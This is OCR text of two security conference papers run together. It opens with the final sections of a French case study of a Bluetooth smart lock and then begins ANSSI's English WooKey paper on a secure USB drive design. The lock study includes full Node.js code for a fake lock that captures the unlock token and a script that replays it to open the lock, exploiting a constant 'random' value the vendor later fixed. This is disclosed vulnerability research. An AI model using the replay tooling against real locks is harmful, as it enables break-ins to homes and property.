il est nécessaire d’analyser la ou les applications mobile qui communiquent
avec ce dernier, s’il y en a. Cette analyse permet de comprendre plus
rapidement un protocole de communication par exemple, en particulier
lors de ’analyse d’applications mobiles Android (simple & effectuer et
généralement peu obfusquées).

Nous avons déja démontré dans la section 7.1 qu’il était possible
d’extraire des données utiles d’'une application mobile, cependant une
analyse plus approfondie de cette derniere permet d’identifier notamment :

— des fonctionnalités cachées ;

— des protocoles de communication se basant sur BLE (par exemple) ;

— la signification de certaines valeurs utilisées dans les communications
(drapeaux, constantes, codes d’action, etc.) ;

— le fonctionnement global d’une solution.

Analyse du protocole de communication. L’analyse de I’application
mobile associée a la serrure est réalisée en premier lieu grace aux outils
dex2jar [14] et jdgui [4], qui permettent de localiser rapidement les portions
de l'application en charge de la communication. Ainsi, nous identifions en
premier lieu les UUIDs des caractéristiques Bluetooth Low Energy utilisées
pour la communication, présentes en clair dans le code désassemblé.
Nous identifions de méme une classe en charge de ’envoi des demandes
d’ouverture ou de fermeture a la serrure, qui fait référence a du chiffrement
et de la signature. L’analyse révele que ’application Android récupere
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une donnée aléatoire depuis le contenu d’une caractéristique dédiée, puis
s’en sert pour chiffrer et signer un jeton permettant 'ouverture de la
serrure. Ce jeton n’est pas généré par un serveur distant, ce qui permet
de commander la serrure méme sans acces a Internet, un choix judicieux
de la part des concepteurs. L’algorithme de chiffrement employé est AES
en mode ECB, avec une signature SHA256 authentifiée par ECDSA.

Meécanisme de mise a jour du micro-logiciel. En ce qui concerne la
mise a jour du micro-logiciel, la encore une classe en a la responsabilité.
Comme précédemment, on y trouve les références aux UUIDs des services
et caractéristiques concernés.

Le contenu du micro-logiciel est récupéré en ligne, comme nous 1’avons
évoqué précédemment dans la section 7.1, et ce dernier n’est pas chiffré
mais seulement signé. Cette signature est évidente lorsque I'on analyse le
code désassemblé de la classe en question.

L’application procede comme suit pour mettre a jour le micro-logiciel :

1. Elle écrit une valeur spéciale dans une caractéristique de controle pour
notifier la serrure qu’une mise-a-jour du micro-logiciel démarre ;

2. Elle transmet ensuite le contenu du micro-logiciel par portion de 20
octets (une limitation imposée par Android quant a la taille des données
inscriptibles dans une caractéristique) ;

3. Elle écrit une valeur spéciale dans une caractéristique de contréle pour
indiquer la fin du transfert du contenu du micro-logiciel ;

4. Elle écrit une valeur spéciale dans une caractéristique de controle pour
indiquer le démarrage de I'envoi de la signature;

5. Elle transmet la signature de la méme maniere que le micro-logiciel ;

6. Elle écrit une valeur spéciale dans une caractéristique de contrdle pour
indiquer la fin de I'envoi de la signature;

7. Elle attend I’envoi d’une notification par la serrure indiquant si la
signature du micro-logiciel est correcte ou non.

8 Recherche de vulnérabilités logicielles et analyse des
communications

Une fois les applications désassemblées (mobile et micro-logiciel destiné a
un MCU ou un SoC), il est possible de rechercher des vulnérabilités.

Dans le cas de systemes d’exploitation, la recherche de vulnérabilités
débute presque toujours par un focus sur les low-hanging fruits, c¢’est-a-dire
des vulnérabilités simples a identifier et exploiter. On retrouve parmi ces
failles et ce de maniére non-exhaustive :
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— les services dont la version est ancienne et qui peuvent étre sujets a
des vulnérabilités connues ;

— les vulnérabilités de type escape-shell dans le cas de services développés
Sur mesure ;

— les mots de passe par défaut ;

— les potentielles portes dérobées.

Quant aux applications uniques a destination de MCU ou de SoC, 'iden-
tification de vulnérabilités est plus laborieuse. En effet, il faut d’abord
analyser et comprendre le code, sans information sur des fonctions utilisées
contrairement aux exécutables dynamiquement liés trouvés sur un systéme
d’exploitation. Il existe bien des systemes de recherche de signatures de
fonction, mais ceux-ci ne fonctionnent pas a tous les coups.

Une fois que 'on posseéde une compréhension du code relativement
bonne, il est possible d’identifier des faiblesses et de déterminer la ou les
manieres de les exploiter.

8.1 Analyse des communications

Avant d’entamer des analyses poussées via l'ingénierie a rebours du code
des applications, nous avons intercepté la communication entre notre
smartphone et la serrure grace a 1'outil BtleJuice [3]. Nous avons ainsi pu
intercepter les échanges entre ’application et la serrure et avons remarqué
que ces derniers étaient toujours identiques malgré des ouvertures et
fermetures répétées, comme le montre la figure 12.

On remarque notamment qu’un seul service et trois caractéristiques
sont utilisés pour cet échange, supportant des opérations de lecture et
d’écriture. Le fait que la donnée transmise soit toujours la méme permet
de douter de Defficacité de ’aléa identifié précédemment : il semblerait que
les données chiffrées et signées transmises par l'application a la serrure ne
varient pas, et donc que 'aléa est constant.

De plus, on note que les communications ne sont pas sécurisées car
aucun appairage n’a été effectué, et qu’il est des lors possible de réaliser
une attaque de ’homme du milieu.

8.2 Analyse de la génération de ’aléa

Pour vérifier cette hypothese, nous utilisons un client Bluetooth Low Energy
comme gatttool afin de nous connecter a la serrure et lire la caractéristique
fournissant la donnée aléatoire :
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[XX:XX:XX:6B:FC:88] [LE]> char-read-uuid 6e44b503-b5a3-£f393-e0a9 -

eb0e24dccale

handle: 0x0012 value: 01 00 00 00

[XX:XX:XX:6B:FC:88] [LE]> char-read-uuid 6e44b503-b5a3-f393-e0a9 -
eb0e24dccale

handle: 0x0012 value: 01 00 00 0O

[XX:XX:XX:6B:FC:88] [LE]> char-read-uuid 6e44b503-b5a3-£f393-e0a9 -
eb0e24dccale

handle: 0x0012 value: 01 00 00 OO

Il semblerait que cette donnée ne soit pas du tout aléatoire, et vaille
toujours 1, ce qui n’est pas conforme a 1'usage attendu de cette caractéris-
tique. Si la donnée aléatoire n’est pas aléatoire, alors chaque transmission
de jeton d’ouverture sera chiffrée exactement de la méme manieére, et
donnera la méme signature. Cela explique pourquoi nous avons observé
des échanges similaires lors de nos ouvertures successives.

Il est intéressant de savoir si ce comportement provient d’un bogue
applicatif ou si ce n’est qu'un effet de bord di a certains conditions. Pour
déterminer 'origine de ce dernier, nous allons devoir identifier la portion
du micro-logiciel en charge des opérations de lecture et d’écriture relatives
a la caractéristique concernée. Heureusement, les chaines de caracteres
permettent une localisation rapide de la routine concernée, comme le
montre la figure 13.

=

sub_29204
[rovs—r2, #1] On met la valeur 0x00000001
MOV R4, RO

STR.W R2, [R@,#2xF3]

LDR R1, =al32mInfoGenera ; "\x1B[1;32m:INFO:Generated rand
MOVS RO, #3

BL disp_log

ADD.W R@, R4, #0xBC

POP.W  {R4,LR}

B.W 5ub_29FA6

; End of function sub 29204

Fig. 13. Routine de génération de valeur aléatoire
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9 Exploitation

Une fois la vulnérabilité identifiée et comprise, I’écriture d’un exploit est
possible. Ce dernier permet notamment :

— d’automatiser la phase d’exploitation qui peut étre complexe ;
— de tester la présence de la vulnérabilité;
— de vérifier qu'un correctif appliqué fonctionne comme attendu.

9.1 Création d’un exploit Bluetooth Low Energy

Dans le cas de notre serrure, nous devons concevoir un systeme capable
d’intercepter les communications entre une serrure connectée et une appli-
cation mobile afin de :

1. Voler le jeton d’ouverture de la serrure lors de sa transmission par
; . .
I’application mobile;

2. Rejouer ce jeton lors d’une nouvelle connexion qui sera réalisée par
notre exploit.

L’utilisation de bibliothéeques comme bleno [16] pour Node.js, ou encore
mockle [2], permettent de développer rapidement des applications simulant
un équipement connecté employant le protocole Bluetooth Low Energy. De
méme, des bibliotheques comme noble [17] permettent de créer rapidement
des clients pour ce protocole, et de communiquer avec des équipements
compatibles.

Capture d’un jeton d’ouverture. Pour réaliser la capture d’un jeton
d’ouverture, nous devons simuler un équipement identique et réagir aux
différentes opérations. Pour ce faire, nous allons employer la bibliotheque
Node.js Mockle [2] afin de créer un clone presque parfait de notre serrure,
et le faire se comporter comme la serrure d’origine.

Le listing 2 présente le code source de notre outil de capture de jeton,
basé sur la bibliotheque mockle.

const mockle = require(’mockle’).BleMock () ;
const fs = require(’fs’);

var mock = new mockle(’./serrure.json’);
var token = [];

var notif_cb = null;

function saveToken () {
var packets = JSON.stringify (token) ;
fs.writeFile(’token. json’, packets, function(err){
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if (err)
console.log(’[!] Cannot write token to file’);
else
console.log(’[i] Token written to ‘token.json‘’);
process.exit (0) ;
b
+s

mock.on(’subscribe’, function(service, characteristic, maxValueSize,
callback){
console.log(’> Register callback for service ’+service+’:’+
characteristic) ;
notif_cb = callback;
B

mock.on(’read’, function(service, characteristic, offset, callback){
switch (service)

{
case ’6e44b500b5a3f393e0a9eb0e24dccade’:
{
switch(characteristic)
{
case ’6e44b503bb5a3f393e0a9e50e24dccade’:
{
console.log("> Read Random, provide default value 1.");
callback (
mock . RESULT_SUCCESS ,
new Buffer ([0x01, 0x00, 0x00, 0x001])
)
iy
break;
}
}
break;
¥
b
mock.on(’write’, function (

service,
characteristic,
data,
offset,
withoutResponse,
callback) {
switch (service)
{
case ’6e44b500bb5a3f393e0a9eb0e24dccade’:
{
switch(characteristic)
{
case ’6e44b501bba3f393e0a9e50e24dccade’:
{
token.push (Array.prototype.slice.call(data, 0));
callback (mock.RESULT_SUCCESS) ;
}

break;
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case ’6e44b504b5a3£f393e0a9eb50e24dccae’:
{
console.log(’> Fin de la transmission.’);
notif_cb(new Buffer ([0x03]));
notif_cb(new Buffer ([0x04]));
callback (mock.RESULT_SUCCESS) ;
setTimeout (function () {saveToken ()}, 3000) ;
T

break;
}
}
break;
}
B

mock.start () ;

Listing 2. Outil de capture de jeton d’ouverture

Une fois I'exploit lancé, 'application mobile se connecte sur notre
fausse serrure et transmet les informations requises :

$ sudo node capture-token.js

[setup] creating mock for device The XXXXXXX (xx:xx:xx:6b:fc:88)
[setup] services registered

[ mock] accepted connection from address: 5e:74:79:1e:5f:a9

> Register callback for service 6e44b500b...ca9e:6e44b504...ca9e
> Read Random, provide default value 1.

> Fin de la transmission.

[i] Token written to ‘token.json‘

Le jeton est ainsi stocké sur disque et prét a étre rejoué a l'identique.
Il ne nous reste plus qu’a développer un programme pour réaliser le rejeu,
a l’aide de la bibliotheque noble.

9.2 Rejeu d’un jeton capturé

Le développement d’une preuve de concept permettant de rejouer la
transaction est possible grace a la bibliotheque noble. Cette derniere permet
de se connecter a un périphérique Bluetooth Low Energy, d’énumérer les
services et caractéristiques, et d’effectuer des opérations de lecture et
d’écriture sur ces dernieres.

Ainsi, nous avons pu développer le script suivant (voir listing 3) per-
mettant de rejouer un jeton précédemment capturé.

const noble = require(’noble’);
const fs = require(’fs’);

TARGET = ’XX:XX:XX:6b:£fc:88"’
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var tx_uuid Pfff17
var rx_uuid Pff£f27;
var tx_char = null;

var rx_char = null;

null;
null;

var entrylLogs
var smartlock

var state = null;

var num_records = 0;

var cur_record = 0;

var record_time = null;
var record_measure = null;

var open_packet = new Buffer ([0x07]);
var msg_char = null;

var open_char = null;

var pkt_index = 0;

var packets = loadToken () ;

function loadToken () {

var content = fs.readFileSync(’token.json’);
var token = JSON.parse(content) ;
var packets = [];

for (var i in token) {
packets.push(new Buffer (token[i]));
}

return packets;

function open_lock_final (){
open_char.write(open_packet, false, function(){
console.log(’ok’);
B
}

function open_lock (){
msg_char.write (packets [pkt_index], false, function(){
console.log(’sent packet ’+pkt_index) ;
pkt_index++;
if (pkt_index < 6)
open_lock () ;
else
open_lock_final ();
)
}

function onCharacteristicsDiscovered(error, characs) {
for (var c¢ in characs) {

if (characs[c].uuid == ’6e44b501b5a3f393e0a9e50e24dccade’)
msg_char = characs[c];
if (characs[c].uuid == ’6e44b504b5a3f393e0a9e50e24dccade’)

open_char = characs[c];
}
open_lock () ;



D. Cauquil 141

}
function onServicesDiscovered(error, services) {
if (services.length == 1) {
var service = services[0];
/* Discover the characteristics (we’re expecting these two).
*/

service.discoverCharacteristics(
[

’6e44b501bb5a3f393e0a9e50e24dccade’,
’6e44b504bb5a3f393e0a9eb50e24dccade’
1,

onCharacteristicsDiscovered

noble.on(’discover’, function(peripheral) {
if (peripheral.address.toUpperCase() == TARGET.toUpperCase()) {
/* Stop scanning as we found our peripheral. x*/
noble.stopScanning () ;

smartlock = peripheral;

/* Connect to the smartlock. x*x/
peripheral.connect (function(error) {
if (error == null) {
/* Look for the communication service. x*/
peripheral .discoverServices(
[’6e44b500b5a3f393e0a9e50e24dcca9e’],
onServicesDiscovered

) g
P
b
function main() {

noble.on(’stateChange’, function(state) {
if (state == ’poweredOn’) {
console.log(’BTLE interface up and running, starting
scanning ...’%);
console.log(’’);
noble.startScanning () ;
} else {
console.log(’Adapter not ready.’);
X
b
}

Listing 3. Script de rejeu de jeton d’ouverture
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9.3 Réponse du fabricant

Le fabricant a apporté un correctif a cette vulnérabilité, qui utilise dé-
sormais le composant RNG proposé par le nRE52832, comme le montre
la figure 14. De cette maniere, la serrure génere désormais des valeurs
aléatoires de 32 bits au lieu de la constante précédente, rendant impossible
les attaques par rejeu.

=

sub_284C4

PUSH  {R4,LR}

MOV R4, RO

BL get_rand_value

STR.W RO, [R4,#0xF3]

ADD.W RO, R4, #BxBC

POP.W  {R4,LR}

B.W sd_ble_gatts_value_set_

end of function sub_28

Fig. 14. Correction de la vulnérabilité

10 Conclusion

Au travers de cette étude de cas, nous avons illustré les différents aspects
d’une analyse de sécurité appliquée aux objets connectés. Nous avons ainsi
couvert les bases des architectures matérielles habituellement rencontrées
dans ces éco-systemes, les méthodes d’ingénierie a rebours et d’analyse des
circuits et composants, différentes techniques d’acquisition et d’ingénierie
a rebours de micro-logiciels, des outils et techniques d’analyse de com-
munications Bluetooth Low Energy, et enfin des méthodes de recherche
de vulnérabilités et de création de preuves de concept pour ce méme
protocole.

La place manque ici pour expliciter avec moults détails les différentes
spécificités des technologies rencontrées, bien que cet exposé couvre 1’en-
semble des domaines de compétences requis pour I’analyse de notre serrure
connectée. La grande variété de solutions techniques, de composants, de
protocoles et de technologies en général rend complexe la mise au point
d’une méthodologie complete et unique, ce qui peut expliquer d’une part
la multiplicité de ces dernieres, et d’autre part le sentiment d’inadéquation
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que 'on peut avoir en appréciant chacune d’elles. Gageons qu’avec le
temps le nombre de technologies se réduira et que nous pourrons établir
un guide d’évaluation a l'instar de ce que fait TOWASP avec la sécurité
des applications web.

Références

10.

11.

12.

13.

14.

15.

16.

17.

18.

Deloitte. Security of the Internet of Things. http://www.cs.ru.nl/~freek/
courses/rbo/slides/slides-deloitte.pdf, 2017.

Digital Security. Bibliotheque Mockle. https://github.com/DigitalSecurity/
mockle, 2016.

Digital Security. Framework BtleJuice. https://github.com/DigitalSecurity/
btlejuice, 2016.

Emmanuel Dupuy. jd-gui. http ://jd.benow.ca/.

. Nordic Semiconductor. Application Note 179. http ://infocen-

ter.arm.com/help/index.jsp 7topic=/com.arm.doc.dai0179b/ar01s02s07.html.

. Nordic Semiconductor. nRF52832 Product Specification v1.3. http ://infocen-

ter.nordicsemi.com/pdf/nRF52832 PS v1.3.pdf.

OpenOCD. Open On-Chip Debugger. http ://openocd.org/.

OWASP. Internet of Things Project. https://www.owasp.org/index.php/0WASP\
_Internet\_of\_Things\_Project.

OWASP. Internet of Things Project, Guides de test. https://www.owasp.org/
index.php/IoT\_Testing\_Guides.

OWASP. Internet of Things Project, Top 10 des vulnérabilités. https://www.
owasp.org/images/8/8e/Infographic-vl. jpg.

OWASP. Internet of Things Project, wvulnérabilités IoT. https:
//www.owasp.org/index.php/0OWASP\_Internet\_of\_Things\_Project\#tab=
IoT\_Vulnerabilities.

OWASP. Internet of Things, surface d’attaque. https://www.owasp.org/index.
php/IoT\_Attack\_Surface\_Areas.

PenTest Partners. Security of the Internet of Things. https://www.
pentestpartners.com/security-blog/iot-security-testing-methodologies/,
2017.

pxb1988. Dex2Jar. https ://github.com/pxb1988/dex2jar.

Rapid7. IoT Security Testing Methodology. https://blog.rapid7.com/2017/05/
10/iot-testing-methodology/, 2017.

Sandeep Mistry. Node.js Bleno library. https://github.com/sandeepmistry/
bleno, 2013.

Sandeep Mistry. Node.js Noble library. https://github.com/sandeepmistry/
noble, 2013.

Stephan Kleber, Henrik Ferdinand Nélscher, Frank Kargl. Automated PCB Re-
verse Engineering. https://www.usenix.org/system/files/conference/woot17/
woot17-paper-kleber.pdf, 2017.






WooKey: USB Devices Strike Back

Ryad Benadjila, Mathieu Renard, Philippe Trebuchet, Philippe Thierry,
Arnauld Michelizza, Jérémy Lefaure
firstname.lastname@ssi.gouv.fr

ANSSI

Abstract. The USB bus has been a growing subject of research in recent
years. In particular, securing the USB stack (and hence the USB hosts
and devices) started to draw interest from the academic community since
major exploitable flaws have been revealed by the BadUSB threat [41].
The work presented in this paper takes place in the design initiatives
that have emerged to thwart such attacks. While some proposals have
focused on the host side by enhancing the Operating System’s USB
sub-module robustness [53,54], or by adding a proxy between the host
and the device [12,37], we have chosen to focus our efforts on the de-
vice side. More specifically, our work presents the WooKey platform: a
custom STM32-based USB thumb drive with mass storage capabilities
designed for user data encryption and protection, with a full-fledged set
of in-depth security defenses. The device embeds a firmware with a secure
DFU (Device Firmware Update) implementation featuring up-to-date
cryptography, and uses an extractable authentication token. The runtime
software security is built upon EwoK: a custom microkernel implementa-
tion designed with advanced security paradigms in mind, such as memory
confinement using the MPU (Memory Protection Unit) and the integra-
tion of safe languages and formal methods for very sensitive modules.
This microkernel comes along with MosEslie: a versatile and modular
SDK that has been developed to easily integrate user applications in
C, Ada and Rust. Another strength of this project is its core guiding
principle: provide an open source and open hardware platform using
off-the-shelf components for the PCB design to ease its manufacturing
and reproducibility.
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p Disclaimer \

The WooKey project is a work in progress. Most of the objec-
tives described in the article have been implemented, but some
features are still under development and testing.

For this reason, it is difficult to publish the code at the time of
the SSTIC 2018 conference.

We are well aware that this can be confusing for a project that
claims to be open source and open hardware.

We emphasize, however, that we focuse all our efforts to make
the project available as soon as possible with end of Q2 2018
as a target.
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1 Introduction

USB devices are nowadays ubiquitous and participate in a wide variety
of use cases. Recent studies have exposed vulnerabilities in USB imple-
mentations [39], and among them the BadUSB [41] attacks are a serious
threat against the integrity of USB devices. Firmwares, hosts Operating
Systems, as well as user data confidentiality are at risk. As a matter of
fact, this can have critical consequences knowing that USB mass storage
devices are used to transfer public or confidential data between different
machines, including in air-gapped networks.

Some proprietary devices [8,9] are already sold as preventive solutions
against the BadUSB class of attacks. They however lack code or architec-
ture/design review, sometimes yielding crucial defects [44]. The academic
community has, for its part, focused on the host side by enhancing the
Operating Systems USB sub-module robustness [53,54] and by develop-
ing filtering proxies [12,37]. Such approaches, albeit interesting, can be
non-portable and do not protect the USB device itself when it is lost or
falls into the hands of adversaries.

Such limitations inclined us to prototype a secure and trustworthy
USB mass storage device. This article compiles the results of this initiative
and provides insight into how we designed and implemented WooKey (the
prototype platform name) using off-the-shelf components with open source
and open hardware objectives.

We first provide a security and threat model for USB mass storage
thumb drives, thus highlighting the main challenges of designing a secure
device. Then, we discuss the existing public products that adopt such
functionalities from an end-user’s perspective, introducing WooKey with
what (we believe) brings new security features to embedded platforms
that use off-the-shelf components.

This leads us to detail our hardware and software design choices in
the light of the security expectations, bringing insights into our main
contributions, namely:

— A full-featured USB dongle platform with in-depth defense in mind.

— Software isolation using a microkernel with a novel approach regarding
MPU usage on constrained microcontrollers, embedding critical parts
written in safe languages (Ada with SPARK).

— Secure Device Firmware Update.

— Two-factor user authentication using a smartcard and up-to-date cryp-
tography.
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Finally, the last section wraps up an analysis of the resulting security
against our threat model and discusses the residual risks, thus assessing
the limitations of an architecture based on off-the-shelf components.

1.1 Threats on USB devices

Fully understanding the threats on the USB stack requires a deep knowl-
edge of the USB devices architecture. For the sake of simplicity, we will
focus on the mass storage class (commonly named USB thumb drives)
although the risks and concepts can be generalized.

USB devices hardware architecture: Two platform variants are
distinguished in the USB protocol: hosts (a.k.a. masters) and devices
(a.k.a. slaves). Both usually embed a controller chip in the form of a
dedicated microcontroller or an Application-Specific Integrated Circuit
(ASIC), whose role is to receive and transmit USB packets.

Microcontrollers are usually based on very low power Systems-on-
a-Chip (SoC) with embedded persistent storage and usually reduced
performance — few MHz CPUs, few kilobytes of RAM — compared to
general purpose processors. They usually embed a firmware that can be
reprogrammed either by logical means (e.g. through the USB protocol
itself) or physical access (e.g. through flash banks hardware reflashing).

Among all USB devices, the mass storage class aims at storing user
data on a dedicated high capacity persistent memory. Figure 1 provides a
high level view of a thumb drive: the USB microcontroller interacts with
the host USB stack on one side, and with flash storage banks on the other
side.

= USB Flash
= Controller Memory

Fig. 1. USB thumb drives classical architecture

USB devices weaknesses: The flexibility of the USB bus is also a
weakness. Since various device classes can be plugged into the same con-
nectors, a device can impersonate another one without any user action or
notification. This can be performed by reprogramming the USB controller
embedded in the device as it has been shown in the BadUSB class of



R. Benadjila, M. Renard, P. Trebuchet, P. Thierry,... 149

attacks [41]: many USB controller chips lack protections against such
reprogramming.

A common exploitation scenario is the HID Payload Attack: a malicious
device is reprogrammed in order to act as a Human Interface Device
(e.g. a keyboard) and enter custom keystrokes on the target machine to
compromise it [26].

Another path for the attacker is to inject a crafted payload to exploit a
(possibly zero-day) vulnerability in the host USB stack or any software layer
using it, and adapting the payload to the host through fingerprinting [18,
23, 35].

Without specific hardware, the only way to protect critical host systems
against such threats is to physically disable the USB ports. Any other
software countermeasure is of limited efficiency: generic blacklists can be
bypassed; USB filtering proxies [54] are based on complex USB stacks and
are subject to the same risks. In addition, modern PCs contain low-level
embedded firmwares that also integrate USB capabilities: countermeasures
implemented at the Operating System level do not cover them. When
targeting a computer’s BIOS or UEFI, a successful exploitation opens a
breach in the most privileged parts of the system.

A possible mitigation would be to only use trusted devices. This raises
the following question: what is exactly a trusted device and how can one
trust it? This inquiry has been the starting point of the WooKey project,
and we tried to provide technical and well-founded solutions to this issue.

1.2 Secure USB thumb drive design

This section discusses all the elements that, according to us, should be used
in secure hardware and software USB thumb drive architectures. The main
goal is to provide the reader with a high-level view of the assumptions we
make, the threats we try to protect against, and the security features we
desire.

Although these elements are not based on formal foundations, we
outline the fact that they represent what we believe is an interesting
working framework to build a secure and trusted USB device. We also
stress out that to our best knowledge, there is no detailed analysis of the
desirable design features and threat model of USB thumb drives.

Functional specifications: The device must provide classical USB mass
storage features with transparent user data encryption and decryption. It
shall be detected as a thumb drive on any USB host (i.e. any classical
Operating System) with no specific software installation.
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Threat Model: We consider that the adversary has logical and/or phys-
ical access to the device:

1. The adversary may try to read the data simply by connecting the
device to a host or by physically reading the mass storage cells, for
example when the device is lost or stolen. This can be done either
when the device is powered up, or when it is powered down.

2. The adversary may try to tamper with the device using logical attacks,
for example when it is connected to an untrusted host. These attacks
abuse potential weaknesses in protocols used for external communica-
tion such as the USB stack or the external data storage buses.

3. The adversary may open the device to physically tamper with the
internal storage, firmware, or any other component present on the
actual device.

4. We suppose that an external authentication token is used to validate
the legitimate user presence. We will only consider physical attacks
where the adversary does not possess the legitimate user’s PIN code.
In other words, side-channel and fault injection attacks on the device
in a post-authentication phase are explicitly out of scope (even though
we discuss them in section 4). Those kinds of attacks are considered
during the pre-authentication phase though, either on the device, on
the external token, or on the communication channel when these two
exchange data.

Security expectations: We expect our device to provide the following
main security features:

1. User data protection: all data at rest are encrypted, and their confi-
dentiality protected. The data integrity is out of scope.

2. Strong user authentication: the legitimate user must be present when
data is decrypted (implying a strong user authentication). When a
user PIN code is used, attack vectors that can steal it must be limited.

3. Secure device software update: the device’s software should be robustly
upgradable for system maintenance (e.g. security patches). Update
files must be authenticated and integrity checked with no rollback to
(possibly buggy) old versions. A software upgrade must be a voluntary
and authenticated action. The firmware updates must be reliable and
must avoid bricking the platform.

4. Firmware robustness against software attacks: the firmware should
guarantee that an adversary attacking the exposed software surface
(on the USB bus for instance) is not able to get privileged access to
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the platform, and does not gain access to critical material such as
sensitive cryptographic keys. Software attacks must remain confined.

1.3 A survey of secure USB devices

When it comes to user data encryption in a secure USB device, various
solutions already exist in both proprietary and open source products. This
section discusses their design choices (when available), their advantages
as well as their drawbacks.

Proprietary products: We will move fairly swiftly over commercial
and proprietary solutions such as IronKey!, Kingston DataTraveler?, and
all other similar devices [1,5]. The reason is that the details about their
internal architectures and the cryptography they use are usually very
limited. This opacity does not allow us to put their security mechanisms
under scrutiny.

For a broad overview of proprietary products, one can refer to [52].
It is worth noting that from outdated cryptography to unsafe external
authentication methods, many of such products do not implement state
of the art software and hardware security concepts, yielding in various
attack vectors [24,44].

Besides proprietary products, a few open source endeavors exist. We
have only focused on what we believe are the most relevant solutions.
Even though some of them do not aim at producing USB mass storage
devices, many security features and/or security goals they target intersect
with the threat model and the expectations that have been previously
introduced. We discuss in the remaining of the section their benefits as
well as their limitations.

USB Armory: USB Armory? is one of the first open source and open
hardware USB stick with rich features that has been brought to public
attention. The platform aims at embedding a small yet full-featured
development board capable of booting a Linux distribution in a USB
thumb drive form factor. It is built around a NXP Cortex-A8-based i.MX53
SoC, and interestingly showcases advanced security features* based on

! http://www.ironkey.com/en-US/

2 https://www.kingston.com/en/usb

3 https://inversepath.com/usbarmory

4 https://github.com/inversepath/usbarmory/wiki/Hardware-security-
features
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both the NXP HABv4 (High Assurance Boot) secure boot module and
the ARM TrustZone isolation primitive. Even though such a platform has
not been primarily designed as a data encryption device, one could easily
build one using the Key Encryption Module.

However, these SoC advanced security features have not (at least
publicly) been under the scrutiny of well-tried evaluation schemes such as
Common Criteria: we cannot compare them to secure elements. Recent
breaches discovered in the HABv4 [11] outline this matter of fact.

Finally, it is worth noting that the USB Armory device does not
feature strong user authentication methods per se, but the flexibility of
this platform allows to extend it and to add such modules through the
exported buses and interfaces.

Ledger: this company develops USB hardware-based cryptocurrency
wallets®. Their leitmotiv is to provide a device which ensures the end user
that her wallet private keys are kept safe and are never stolen. The platform
is based on a dual chips design: a STM32 general purpose MCU for USB
communication, and a ST31 secure element. The sensitive cryptographic
operations are performed in the ST31 enclave so that critical keys and
assets never leave it. User identification requires a personal PIN code and
the device either embeds a touch screen (Ledger Blue) or buttons and
LCD screen (Ledger Nano S) for a safe authentication.

An innovative approach of Ledger is the introduction of BOLOS [34]
(Blockchain Open Ledger Operating System), an OS built for software
isolation between a normal world and a secure world through a controlled
and dedicated API. The MPU isolation paradigm used by BOLOS to en-
force application contexts is interesting: this will be detailed in section 3.6.
Although Ledger has released some open source projects on GitHub®, only
the BOLOS API (the SDK to compile applets) seems to have been released.
It is also worth noting that Ledger’s products are not open hardware, and
their detailed architecture cannot be thoroughly analyzed.

Without providing Common Criteria or equivalent certification results,
it is quite difficult to evaluate the security level of such a platform compared
to historical and time-tested smartcard embedded systems (though these
two are not incompatible as described in [13]). Finally, the ST31 chip
of Ledger devices is soldered on the PCB: we believe that a physical
separation of the functional platform and the authentication token is
crucial for our specific use cases as it will be argued in section 3.2.

® https://www.ledger.fr/hardware-wallets/
® https://github.com/ledgerhq
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TREZOR: the TREZOR bitcoin wallet” is an open source project that
suffers from neither using a secure element nor strong authentication such
as Ledger’s products. The lack of a secure element results in various attack
vectors described in [2]. Weaknesses of the STM32F205 (that stores all the
TREZOR user secrets) against fault injection attacks have been exploited
on the PIN verification implementation in [22].

Nitrokey: the Nitrokey family of devices® is probably the closest to our
high-level expectations, at least in terms of advertised user functionality.
These USB devices have emerged as a response to the BadUSB threat [40].
According to the authors, their main features consist of an open source and
open hardware design with a firmware that cannot be updated through
USB (hence preventing a BadUSB host to device attack vector). Moreover,
a secure element in the form of a smartcard chip ensures a PIN based user
authentication. The Nitrokey tokens are versatile: they offer an OpenPGP
standard API through USB, along with mass storage and data encryption
features.

On the hardware side, the main variants of the Nitrokey family use
either a STM32F103 or a Microchip AVR AT32UC3A32568S, both being USB
oriented MCUs. For sensitive operations and keys protection, a secure
element is explicitly used in the Nitrokey Pro, HSM and Storage variants.
The reference of the chip depends on the Nitrokey product version, with at
least a Common Criteria certified chip (and a certified Javacard platform
for some of them) [4].

The Nitrokeys have the undeniable laudable advantage of being one of
the first open source and open hardware initiatives against BadUSB. They
however lack some crucial security features. First, they don’t make use of
an integrated user input system allowing secure PIN typing: the user au-
thentication is performed on the host PC using the Nitrokey-App software,
therefore allowing a compromised host to sniff it. Secondly, the firmware
embedded in these products (at least the open source published versions)
does not make use of dedicated kernel isolation and in-depth defense
techniques: any software vulnerability leads to a complete compromise of
the platform.

Furthermore, it seems that Nitrokeys do not enforce a secure channel
between the USB MCU and the secure element: the secure element is not
cryptographically personalized for a given platform and user (the only
binding with the user is done with the PIN code, which is limited).

" https://trezor.io/
8 https://www.nitrokey.com/
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Finally, and as stated on Nitrokey’s GitHub account, there is no secure
firmware update using strong cryptography at this time.

1.4 Introducing WooKey

When compiling all the desirable security features that one wants for a
secure USB device, no open source solution seems to offer a comprehensive
answer. Proprietary solutions being out of scope since no architecture and
code review are possible, the WooKey project has emerged. It aims at
prototyping a secure and trusted USB mass storage device featuring user
data encryption, with fully open source and open hardware foundations.
We outline the fact that even though the prototype focuses on the mass
storage USB class, all the security concepts we describe in the current
article are easily portable to other USB device classes such as HID or CDC.
The comparison between open source solutions and WooKey regarding
security features is summarized in Table 1.

USB Armory|Ledger| TREZOR,|Nitrokeys| WooKey
I

Open Source v ~ v v v
Open Hardware v v v v
Secure Element v v v
Dedicated PIN pad v v v
Isolation Kernel v v v
Secure Firmware Update Ve v ? ~3 v
Secure Boot /?

! Not all the elements are open source.

2 Not implemented per se, but should inherit from open source projects.
Firmware update is controlled, but not cryptographically sound.

4 Although broken, see [11].

Table 1. Comparison between open source solutions and WooKey

Constraints related to WooKey: An important matter that the
project pursues is that any interested person should be able to man-
ufacture, flash and use its own device at will. This latter feature is very
restrictive for our design: many interesting security components, such as
secure boot and secure elements bare-metal development, are under NDA
(Non-Disclosure Agreements).

Besides this embargo on security-related technologies, the “do it your-
self” aspect would be refrained by the so-called small scale issue: many
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hardware manufacturers do not retail small volumes, and will only deal
with big companies that buy at least thousands of pieces. Such economical
aspects are interesting, and we will discuss them later: we want WooKey
to be manufactured in reasonable volumes for a reasonable price.

As it will be detailed in the next sections, we do not aim at perfect
security as we believe that such an ideal paradigm is too difficult to achieve
using only off-the-shelf components. However, our leitmotiv — underlined
in the sequel — is to observe that a high level of security can be achieved
notwithstanding some compromises. The crucial ingredient is to control
the attack surface (i.e. attack scenarios and limits) that our platform
